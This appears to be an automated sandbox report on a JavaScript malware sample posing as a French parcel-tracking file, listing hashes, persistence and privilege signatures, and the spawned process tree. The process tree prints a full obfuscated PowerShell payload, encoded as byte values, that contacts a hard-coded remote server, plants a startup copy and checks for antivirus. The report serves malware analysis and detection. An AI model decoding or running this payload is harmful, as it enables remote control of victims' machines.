Analysis
-
max time kernel
148s -
max time network
149s -
platform
windows7_x64 -
resource
win7v20210410 -
submitted
28-04-2021 23:17
Static task
static1
Behavioral task
behavioral1
Sample
Colis-SuiviFR18834Y7829303.js
Resource
win7v20210410
windows7_x64
0 signatures
0 seconds
General
-
Target
Colis-SuiviFR18834Y7829303.js
-
Size
29KB
-
MD5
c235afe7ae03c920b74a58edaf14afad
-
SHA1
58ba64f156237f4305d3b96e5cf5fdd60dcb8b19
-
SHA256
2737e40a0ee412e45e133777d5025d2563f062f6d92044a9f11463ed4d05bf49
-
SHA512
ee1f0d634153987f92d5efe467caba8fabb13c2c3816f9d45d0a9389a5b7d6aa6b037a366a2f17e0f7d630716901494aab98eada6c085b892ccecb0b26dc2720
Malware Config
Signatures
-
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 6 2044 powershell.exe -
Drops startup file 2 IoCs
Processes:
wscript.exedescription ioc process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsSystemUpdate.js wscript.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsSystemUpdate.js wscript.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 2044 powershell.exe 2044 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2044 powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
Processes:
wscript.exedescription pid process target process PID 1088 wrote to memory of 2044 1088 wscript.exe powershell.exe PID 1088 wrote to memory of 2044 1088 wscript.exe powershell.exe PID 1088 wrote to memory of 2044 1088 wscript.exe powershell.exe
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\Colis-SuiviFR18834Y7829303.js1⤵
- Drops startup file
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy rEmOtEsIgNeD -Command Invoke-Expression ([System.Text.Encoding]::Default.GetString(@(65,100,100,45,84,121,112,101,32,45,65,115,115,101,109,98,108,121,78,97,109,101,32,83,121,115,116,101,109,46,87,105,110,100,111,119,115,46,70,111,114,109,115,13,10,65,100,100,45,84,121,112,101,32,45,65,115,115,101,109,98,108,121,78,97,109,101,32,77,105,99,114,111,115,111,102,116,46,86,105,115,117,97,108,66,97,115,105,99,13,10,13,10,36,104,116,116,112,111,98,106,32,61,32,91,77,105,99,114,111,115,111,102,116,46,86,105,115,117,97,108,66,97,115,105,99,46,73,110,116,101,114,97,99,116,105,111,110,93,58,58,67,114,101,97,116,101,79,98,106,101,99,116,40,34,77,105,99,114,111,115,111,102,116,46,88,77,76,72,84,84,80,34,41,13,10,36,104,32,61,32,34,49,56,53,46,56,49,46,49,53,56,46,49,54,55,34,13,10,36,112,32,61,32,34,56,55,48,56,34,13,10,36,86,98,115,80,97,116,104,32,61,32,34,37,86,98,115,112,97,116,104,37,34,13,10,36,83,84,85,80,67,111,112,121,32,61,32,34,37,83,116,97,114,116,117,112,37,34,13,10,36,115,112,108,32,61,32,34,124,86,124,34,13,10,36,69,114,114,111,114,65,99,116,105,111,110,80,114,101,102,101,114,101,110,99,101,32,61,32,39,83,105,108,101,110,116,108,121,67,111,110,116,105,110,117,101,39,13,10,13,10,102,117,110,99,116,105,111,110,32,73,110,115,40,41,32,123,13,10,32,32,32,32,36,68,101,115,116,105,110,97,116,105,111,110,32,61,32,91,83,121,115,116,101,109,46,69,110,118,105,114,111,110,109,101,110,116,93,58,58,71,101,116,70,111,108,100,101,114,80,97,116,104,40,52,32,43,32,51,41,32,43,32,34,92,34,32,43,32,34,83,121,115,116,101,109,84,114,97,121,54,52,46,106,115,34,13,10,32,32,32,32,105,102,32,40,36,83,84,85,80,67,111,112,121,32,45,101,113,32,34,84,114,117,101,34,41,32,123,13,10,32,32,32,32,32,32,32,36,67,111,109,109,97,110,100,32,61,32,40,66,105,110,97,114,121,50,83,116,114,105,110,103,40,34,44,46,44,44,44,44,46,46,44,46,46,44,46,46,46,46,44,46,46,46,44,44,44,44,44,46,46,46,46,44,44,46,44,44,46,44,46,46,44,46,44,46,44,44,46,44,44,46,44,46,46,46,44,46,44,44,44,46,46,44,44,46,44,46,44,46,46,44,46,46,44,46,34,46,82,101,112,108,97,99,101,40,34,44,34,44,32,34,48,34,41,46,82,101,112,108,97,99,101,40,34,46,34,44,32,34,49,34,41,41,41,32,43,32,34,32,39,34,32,43,32,36,86,98,115,80,97,116,104,32,43,32,34,39,32,39,34,32,43,32,36,68,101,115,116,105,110,97,116,105,111,110,32,43,32,34,39,34,13,10,32,32,32,32,32,32,32,35,73,110,118,111,107,101,45,69,120,112,114,101,115,115,105,111,110,32,36,67,111,109,109,97,110,100,13,10,32,32,32,32,125,13,10,125,13,10,13,10,102,117,110,99,116,105,111,110,32,71,101,116,45,65,110,116,105,118,105,114,117,115,78,97,109,101,32,123,13,10,91,99,109,100,108,101,116,66,105,110,100,105,110,103,40,41,93,32,32,32,32,32,13,10,112,97,114,97,109,32,40,32,13,10,91,115,116,114,105,110,103,93,36,67,111,109,112,117,116,101,114,78,97,109,101,32,61,32,34,36,101,110,118,58,99,111,109,112,117,116,101,114,110,97,109,101,34,32,44,32,13,10,36,67,114,101,100,101,110,116,105,97,108,32,13,10,41,32,13,10,32,32,32,32,66,69,71,73,78,32,32,13,10,32,32,32,32,32,32,32,32,123,13,10,32,32,32,32,32,32,32,32,32,32,32,32,36,119,109,105,81,117,101,114,121,32,61,32,34,83,69,76,69,67,84,32,42,32,70,82,79,77,32,65,110,116,105,86,105,114,117,115,80,114,111,100,117,99,116,34,13,10,32,32,32,32,32,32,32,32,125,13,10,32,32,32,32,80,82,79,67,69,83,83,32,32,13,10,32,32,32,32,32,32,32,32,123,13,10,32,32,32,32,32,32,32,32,32,32,32,32,36,65,110,116,105,118,105,114,117,115,80,114,111,100,117,99,116,32,61,32,71,101,116,45,87,109,105,79,98,106,101,99,116,32,45,78,97,109,101,115,112,97,99,101,32,34,114,111,111,116,92,83,101,99,117,114,105,116,121,67,101,110,116,101,114,50,34,32,45,81,117,101,114,121,32,36,119,109,105,81,117,101,114,121,32,32,64,112,115,98,111,117,110,100,112,97,114,97,109,101,116,101,114,115,32,32,32,32,32,32,32,32,32,32,13,10,32,32,32,32,32,32,32,32,32,32,32,32,114,101,116,117,114,110,32,36,65,110,116,105,118,105,114,117,115,80,114,111,100,117,99,116,46,100,105,115,112,108,97,121,78,97,109,101,13,10,32,32,32,32,32,32,32,32,125,32,13,10,32,32,32,32,69,78,68,32,123,32,13,10,32,32,32,32,32,32,32,32,125,32,13,10,125,13,10,13,10,70,117,110,99,116,105,111,110,32,66,105,110,97,114,121,50,83,116,114,105,110,103,40,91,83,116,114,105,110,103,93,32,36,100,97,116,97,41,32,123,13,10,32,32,32,32,36,98,121,116,101,76,105,115,116,32,61,32,91,83,121,115,116,101,109,46,67,111,108,108,101,99,116,105,111,110,115,46,71,101,110,101,114,105,99,46,76,105,115,116,91,66,121,116,101,93,93,58,58,110,101,119,40,41,13,10,32,32,32,32,102,111,114,32,40,36,105,32,61,32,48,59,32,36,105,32,45,108,116,32,36,100,97,116,97,46,76,101,110,103,116,104,59,32,36,105,32,43,61,56,41,32,123,13,10,32,32,32,32,32,32,32,32,36,98,121,116,101,76,105,115,116,46,65,100,100,40,91,67,111,110,118,101,114,116,93,58,58,84,111,66,121,116,101,40,36,100,97,116,97,46,83,117,98,115,116,114,105,110,103,40,36,105,44,32,56,41,44,32,50,41,41,13,10,32,32,32,32,125,13,10,32,32,32,32,114,101,116,117,114,110,32,91,83,121,115,116,101,109,46,84,101,120,116,46,69,110,99,111,100,105,110,103,93,58,58,65,83,67,73,73,46,71,101,116,83,116,114,105,110,103,40,36,98,121,1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- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
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memory/2044-59-0x0000000000000000-mapping.dmp
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memory/2044-60-0x000007FEFBBF1000-0x000007FEFBBF3000-memory.dmpFilesize
8KB
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memory/2044-61-0x00000000022F0000-0x00000000022F1000-memory.dmpFilesize
4KB
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memory/2044-62-0x000000001AB70000-0x000000001AB71000-memory.dmpFilesize
4KB
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memory/2044-63-0x00000000023B0000-0x00000000023B1000-memory.dmpFilesize
4KB
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memory/2044-64-0x000000001AAF0000-0x000000001AAF2000-memory.dmpFilesize
8KB
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memory/2044-65-0x000000001AAF4000-0x000000001AAF6000-memory.dmpFilesize
8KB
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memory/2044-66-0x00000000023E0000-0x00000000023E1000-memory.dmpFilesize
4KB
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memory/2044-67-0x000000001BA30000-0x000000001BA31000-memory.dmpFilesize
4KB
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memory/2044-68-0x000000001C5D0000-0x000000001C5D1000-memory.dmpFilesize
4KB